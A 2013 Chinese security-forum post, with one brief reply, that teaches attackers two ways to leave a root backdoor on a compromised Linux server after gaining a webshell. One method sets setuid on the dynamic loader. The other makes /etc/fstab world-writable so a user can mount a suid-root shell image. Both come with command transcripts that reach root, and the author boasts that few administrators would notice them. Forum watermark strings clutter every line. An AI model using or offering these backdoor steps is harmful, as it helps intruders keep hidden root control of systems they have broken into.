找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2785|回复: 1
打印 上一主题 下一主题

webshell下LINUX提权+留后门

[复制链接]
跳转到指定楼层
楼主
发表于 2013-3-8 21:56:25 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
方法一:setuid的方法,其实8是很隐蔽。看看过程:2ezX-BUG-关注前沿信息安全技术研究- y/ p9 B' `2 S: D. C' [# @# ^

2 W$ n* U! |( f/ B[root@localdomain lib]# ls -l |grep ld-linux2ezX-BUG-关注前沿信息安全技术研究
% Z1 I+ f; O* X$ w: `3 c* ^/ Llrwxrwxrwx 1 root root 9 2008-06-07 17:32 ld-linux.so.2 -> ld-2.7.so2ezX-BUG-关注前沿信息安全技术研究
3 X4 I  b! a  ]; X" Z+ T) Wlrwxrwxrwx 1 root root 13 2008-06-07 17:47 ld-lsb.so.3 -> ld-linux.so.22ezX-BUG-关注前沿信息安全技术研究: P5 T, c3 f/ ]5 b' s' M
[root@localdomain lib]# chmod +s ld-linux.so.22ezX-BUG-关注前沿信息安全技术研究
9 q: A' Q% n5 g& _/ G5 n6 b[root@localdomain lib]# ls -l |grep ld-2.7.so2ezX-BUG-关注前沿信息安全技术研究
" n) [9 d6 o6 n1 |8 h9 }- V$ s-rwsr-sr-x 1 root root 128952 2007-10-18 04:49 ld-2.7.so2ezX-BUG-关注前沿信息安全技术研究) l) t/ b/ A7 O% _
lrwxrwxrwx 1 root root 9 2008-06-07 17:32 ld-linux.so.2 -> ld-2.7.so2ezX-BUG-关注前沿信息安全技术研究
4 o' B8 |+ A) U7 k2 V9 c* ]- o' c: f[root@localdomain lib]#2ezX-BUG-关注前沿信息安全技术研究
. J) G2 Q# ?2 w! P8 |0 ?. d我们这里给/lib/ld-linux.so.2这个文件(在FC8里,它指向ld-2.7.so这个文件)加了setuid属性。然后我们看怎么利用它。2ezX-BUG-关注前沿信息安全技术研究
3 t7 T% t+ ^; t
) g" n, q- y9 T- M普通用户登录,测试下权限:2ezX-BUG-关注前沿信息安全技术研究
, l3 R- p  n$ q8 L5 j5 [. S& y( c+ m/ M1 d2 `; w% Y8 j6 z. ^
[xiaoyu@localdomain ~]$ whoami2ezX-BUG-关注前沿信息安全技术研究
: f0 i# K; U2 h' |xiaoyu2ezX-BUG-关注前沿信息安全技术研究2 {6 m0 Z# B6 l% Q$ |' f1 J  B7 n
[xiaoyu@localdomain ~]$ /lib/ld-linux.so.2 `which whoami`2ezX-BUG-关注前沿信息安全技术研究
  M8 C: C. W# B8 `" Rroot2ezX-BUG-关注前沿信息安全技术研究1 W" L8 Z4 r* I& w
[xiaoyu@localdomain ~]$2ezX-BUG-关注前沿信息安全技术研究! f( I; q$ f7 I, c6 s9 q8 M/ X
恩,嘿嘿 root了吧,具体怎么生成root shell,你们自己去想吧,凡事都不要点得太透,对吧。呵呵,可以肯定的一点,/lib/ld-linux.so.2 /bin/sh肯定生成不了rootshell, bash检查euid 和uid,看是否相等...OK,不多说了。2ezX-BUG-关注前沿信息安全技术研究" x9 u: ~5 a+ q4 b) b

8 V; l: e8 q' l$ P2 C. v方法二:2ezX-BUG-关注前沿信息安全技术研究& |: d, y, _9 f1 K1 O" O

7 n/ w3 w2 P' w看过程:2ezX-BUG-关注前沿信息安全技术研究; j3 K, r6 K& G1 v

1 M+ A% z: e1 D. s: d[root@localdomain etc]# chmod a+w /etc/fstab2ezX-BUG-关注前沿信息安全技术研究
9 _5 o: U1 V2 @, Z2 k% p[root@localdomain etc]#2ezX-BUG-关注前沿信息安全技术研究2 F1 X6 S! \  N( s% m* s2 k# E: E

6 t+ q* ]7 k, l" X. Z/ p# y" T2 _9 F这就留好了。此方法比较XXOXX,估计没几个管理员知道。利用方法演示下2ezX-BUG-关注前沿信息安全技术研究* u- n, l+ L% N5 F" U
6 v- d$ x( N- ?: h7 U* h! G- ?- R& q
[xiaoyu@localdomain ~]$ ls -l /etc/fstab2ezX-BUG-关注前沿信息安全技术研究8 I' r# M$ _0 B0 n8 a
-rw-rw-rw- 1 root root 456 2008-06-07 17:28 /etc/fstab2ezX-BUG-关注前沿信息安全技术研究
/ m2 P, b3 n, H& l0 E1 Y0 w5 j[xiaoyu@localdomain ~]$ echo 'test /mnt ext2 user,suid,exec,loop 0 0' >> /etc/fstab2ezX-BUG-关注前沿信息安全技术研究
+ c6 O$ T0 f' Z0 `& O" Y
6 J0 Q) h" W4 h' ]4 S4 w3 V# K$ a然后从本机把一个文件到目标机器上去,这里我们命名为test2ezX-BUG-关注前沿信息安全技术研究% i' e" W( y6 z& Y) v" ^% Q

' @' S) R; Y( d" ^$ g[xiaoyu@localdomain tmp]$ ls -l test2ezX-BUG-关注前沿信息安全技术研究
9 {. N9 ~# \) D0 m/ m- Y-rw-rw-r-- 1 xiaoyu xiaoyu 102400 2008-04-20 02:51 test2ezX-BUG-关注前沿信息安全技术研究
( r% d- q4 d$ W5 L! ][xiaoyu@localdomain tmp]$ mount test2ezX-BUG-关注前沿信息安全技术研究
5 Y- d  y- F1 e2 X2 l[xiaoyu@localdomain tmp]$ cd /mnt2ezX-BUG-关注前沿信息安全技术研究$ {+ ~' ^1 K1 U. h5 X
[xiaoyu@localdomain mnt]$ ls -l2ezX-BUG-关注前沿信息安全技术研究
/ H# H* T& z, O* w3 b( v& Jtotal 182ezX-BUG-关注前沿信息安全技术研究
# |0 N% H8 c. I" U9 M- n3 Pdrwx------ 2 root root 12288 2008-04-20 05:44 lost+found2ezX-BUG-关注前沿信息安全技术研究! B, ~& K( B( h7 v4 p
-rwsr-sr-x 1 root root 4927 2008-04-20 05:44 root2ezX-BUG-关注前沿信息安全技术研究
3 G5 X: O3 T5 W4 x/ @[xiaoyu@localdomain mnt]$ ./root2ezX-BUG-关注前沿信息安全技术研究
# R- M% n2 o. d8 p9 q3 g4 s; ?sh-3.2#2ezX-BUG-关注前沿信息安全技术研究! e2 e3 Y. d% x
看到了吧,从普通用户提升到root了。呵呵。2ezX-BUG-关注前沿信息安全技术研究0 Y8 n0 F; Y* [/ B  T
test这个文件baidu貌似木有上传功能撒,木办法传2ezX-BUG-关注前沿信息安全技术研究- l' h- [- d; \2 z6 m: B+ \* i

5 j* e1 I1 G# m/ k! H: H4 U" I貌似可能有人说本地后门木啥鸟用,但是你要搞清楚:一个webshell里面就可以完成这一切....2ezX-BUG-关注前沿信息安全技术研究
+ M( `' R' N4 @, K( K7 t2ezX-BUG-关注前沿信息安全技术研究. B: j, M+ ?* }- m, ^# ~
* T: Q. m8 V6 u8 p3 h* J9 C1 j
回复

使用道具 举报

沙发
发表于 2013-3-13 15:10:29 | 只看该作者
谢谢分享
回复 支持 反对

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表